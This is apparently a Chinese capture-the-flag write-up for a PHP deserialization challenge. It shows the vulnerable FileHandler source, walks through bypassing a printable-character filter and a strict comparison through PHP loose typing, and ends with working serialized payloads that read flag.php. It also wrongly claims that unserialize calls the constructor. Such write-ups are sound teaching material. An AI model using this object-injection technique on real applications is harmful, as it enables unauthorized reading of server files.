打开题目依旧是源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
简单分析下,目的似乎是要我们触发file_get_contents()函数。看下FileHandler类的实现,file_get_contents()函数在read方法中,要进入到read方法只能先进入process方法,要进入process方法需要通过构造函数或析构函数。
我们来看下process方法的实现:
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
进入read方法只需要满足$this->op == "2",那么这下就简单了:在本地构造一个符合要求的FileHandler的对象,上传,然后就能触发file_get_contents()函数了。
我们来看下如何实现:
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
在本地构造FileHandler的对象实例后进行序列化,GET传参给$str,接下来的unserialize()函数会触发FileHandler类中的构造方法,进而触发file_get_contents()函数。
不过这里有一个问题:FileHandler类中$op等三个变量的权限都是protected,序列化后会产生不可见字符,ASCii码值为0,无法通过is_valid()函数的检测。我们可以在本地修改变量的权限,改为public即可,这样序列化后就不会有不可见字符了。
构造函数中未使用$this关键字,我们本地化给出的值不会被函数中的值干扰,不过构造payload试了下,不知为何通过构造函数进入的process方法,进不去read方法
?str=O:11:"FileHandler":3:{s:2:"op";i:1;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
那只好通过尝试通过析构函数来进入了:发现存在if($this->op === "2") $this->op = "1";这个判断,而我们要满足满足$this->op == "2"来触发file_get_contents()函数,这不是矛盾吗?
注意观察,read方法中的$this->op == "2"是弱类型比较,在php中若字符串和数字进行弱类型比较,字符串会自动转换为数字类。利用这个特性,我们构造op=2,可以避开析构函数中的强类型比较,来满足read方法中的弱类型比较,最终触发file_get_contents()函数得到flag。
于是构造payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
以上
Comments | NOTHING